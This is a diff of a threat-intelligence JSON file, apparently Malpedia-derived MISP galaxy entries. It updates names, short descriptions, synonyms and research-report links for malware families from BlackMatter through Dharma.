"https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.youtube.com/watch?v=qxPXxWMI2i4" + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", + "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", + "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", + "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", + "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://blog.group-ib.com/blackmatter2", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", + "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", + "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" ], "synonyms": [ "BlackMatter" @@ -19800,16 +21051,16 @@ "value": "DarkTortilla" }, { - "description": "DtBackdoor", + "description": "According to PCrisk, DarkTrack is a malicious program classified as a Remote Access Trojan (RAT). This type of malware enables remote access and control over an infected device. The level of control these programs have varies, however, some can allow user-level manipulation of the affected machine.\r\n\r\nThe functionalities of RATs likewise varies and so does the scope of potential misuse. DarkTrack has a broad range of functions/capabilities, which make this Trojan a highly-dangerous piece of software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat", - "https://www.facebook.com/darktrackrat/", + "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", "https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html", "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", - "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", - "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469" + "https://www.facebook.com/darktrackrat/", + "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml" ], "synonyms": [], "type": [] @@ -19822,9 +21073,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc", + "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", "https://reaqta.com/2017/11/short-journey-darkvnc/", - "https://isc.sans.edu/diary/rss/28934", - "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884" + "https://isc.sans.edu/diary/rss/28934" ], "synonyms": [], "type": [] @@ -19837,10 +21088,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf", - "https://www.secureworks.com/research/threat-profiles/bronze-butler", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + "https://www.secureworks.com/research/threat-profiles/bronze-butler", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" ], "synonyms": [ "Muirim", @@ -19871,15 +21122,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", - "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://www.macnica.net/mpressioncss/feature_05.html/", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.macnica.net/mpressioncss/feature_05.html/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" ], "synonyms": [], "type": [] @@ -19892,14 +21143,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin", - "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/", - "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", - "https://twitter.com/M_haggis/status/1498399791276912640", - "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6", "https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis" + "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", + "https://twitter.com/M_haggis/status/1498399791276912640", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis", + "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/", + "https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", + "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6" ], "synonyms": [], "type": [] @@ -19912,11 +21164,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader", - "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/", "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html", - "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", + "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands", - "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat" + "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", + "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/" ], "synonyms": [ "ModiLoader", @@ -19927,29 +21180,61 @@ "uuid": "17e0756b-6cc6-4c25-825c-5fd85c236218", "value": "DBatLoader" }, + { + "description": "This malware uses DropBox as C&C channel.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dboxagent", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "407002c1-1781-4d1c-90bb-3d859f5c2943", + "value": "DBoxAgent" + }, + { + "description": "Ransomware written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcdcrypt", + "https://labs.k7computing.com/index.php/dcdcrypt-ransomware-decryptor/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6192f006-e1ba-47cb-b388-af82e4435a51", + "value": "DcDcrypt" + }, { "description": "DCRat is a typical RAT that has been around since at least June 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://community.riskiq.com/article/50c77491", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://www.youtube.com/watch?v=ElqmQDySy48", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://cert.gov.ua/article/160530", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://cert.gov.ua/article/405538", - "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", - "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", + "https://embee-research.ghost.io/dcrat-manual-de-obfuscation/", "https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://cert.gov.ua/article/160530", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://community.riskiq.com/article/50c77491", + "https://www.youtube.com/watch?v=ElqmQDySy48", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time", + "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", + "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", - "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html" + "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://cert.gov.ua/article/405538", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "DarkCrystal RAT" @@ -19992,24 +21277,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong", - "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "57dd0828-79d7-11e8-a7d8-57db14e1ef24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "cae8384d-b01b-4f9c-a31b-f693e12ea6b2", "value": "DDKONG" }, @@ -20018,7 +21294,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/", + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/" ], "synonyms": [ "Agrius", @@ -20036,6 +21315,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply", "https://securelist.com/threat-in-your-browser-extensions/107181", + "https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/", "https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/" ], "synonyms": [], @@ -20050,14 +21330,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry", "https://www.youtube.com/watch?v=Hhx9Q2i7zGo", - "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", - "https://www.youtube.com/watch?v=qmCjtigVVR0", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://www.youtube.com/watch?v=MRTdGUy1lfw", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b", - "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://www.youtube.com/watch?v=qmCjtigVVR0", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.youtube.com/watch?v=MRTdGUy1lfw", + "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf" ], "synonyms": [ "DoejoCrypt" @@ -20072,13 +21352,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom", - "https://asec.ahnlab.com/1269", - "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", - "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", - "https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html", "https://twitter.com/Amigo_A_/status/1196898012645220354", "https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html", - "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html" + "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", + "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html", + "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", + "https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html", + "https://asec.ahnlab.com/1269" ], "synonyms": [ "deathransom", @@ -20107,8 +21387,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal", - "https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf", - "https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html" + "https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html", + "https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf" ], "synonyms": [], "type": [] @@ -20116,6 +21396,20 @@ "uuid": "fba088fb-2659-48c3-921b-12c6791e6d58", "value": "Decebal" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deepcreep", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a29e21f9-b193-4369-8351-95860d56de03", + "value": "DeepCreep" + }, { "description": "", "meta": { @@ -20134,19 +21428,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html", - "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", "https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/", + "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/" + "https://www.secureworks.com/research/threat-profiles/gold-dupont", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" ], "synonyms": [ "Glushkov" @@ -20161,6 +21455,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", "https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant" ], "synonyms": [], @@ -20169,6 +21464,19 @@ "uuid": "e369e45e-0e92-4811-822e-5e598285465e", "value": "Deimos" }, + { + "description": "Trend Micro describes DeimosC2 as an open-source C&C framework that was released in June 2020. It is a fully-functional framework that allows for multiple attackers to access, create payloads for, and interact with victim computers. As a post-exploitation C&C framework, DeimosC2 will generate the payloads that need to be manually executed on computer servers that have been compromised through other means such as social engineering, exploitation, or brute-force attacks. Once it is deployed, the threat actors will gain the same access to the systems as the user account that the payload was executed as, either as an administrator or a regular user. Note that DeimosC2 does not perform active or privilege escalation of any kind.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos_c2", + "https://www.trendmicro.com/en_us/research/22/k/deimosc2-what-soc-analysts-and-incident-responders-need-to-know.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1f1a894f-7a1b-4b98-9280-d33cf884a539", + "value": "DeimosC2" + }, { "description": "", "meta": { @@ -20203,15 +21511,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c76874cd-0d73-4cbf-8d39-a066900dd4ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "17429ed4-6106-4a28-9a76-f19cd476d94b", "value": "Deprimon" }, @@ -20220,8 +21519,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog", - "https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", "https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html" ], "synonyms": [], @@ -20261,23 +21560,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", - "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", "https://attack.mitre.org/groups/G0096", - "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", - "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf" + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", + "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", + "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf", + "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", + "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf" ], "synonyms": [ "PHOTO" @@ -20292,7 +21591,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/" + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk" ], "synonyms": [], "type": [] @@ -20312,6 +21613,19 @@ "uuid": "44168d77-338d-46ad-a5f6-c17c2b6b0631", "value": "Devil's Rat" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt", + "https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7d7a870d-725f-4ea3-b344-9c1ad0500618", + "value": "DevOpt" + }, { "description": "", "meta": { @@ -20341,15 +21655,15 @@ "value": "Dexphot" }, { - "description": "", + "description": "Dexter is a computer virus or point of sale malware which infects computers running Microsoft Windows and was discovered by IT security firm Seculert, in December 2012. It infects PoS systems worldwide and steals sensitive information such as Credit Card and Debit Card information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter", - "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware--Getting-Your-Hands-Dirty/", + "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html", "http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html", "https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html", - "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html" + "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/" ], "synonyms": [ "LusyPOS" @@ -20364,35 +21678,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma", - "https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://twitter.com/JakubKroustek/status/1087808550309675009", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://www.group-ib.com/media/iran-cybercriminals/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/", - "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", - "https://www.acronis.com/en-us/articles/Dharma-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - 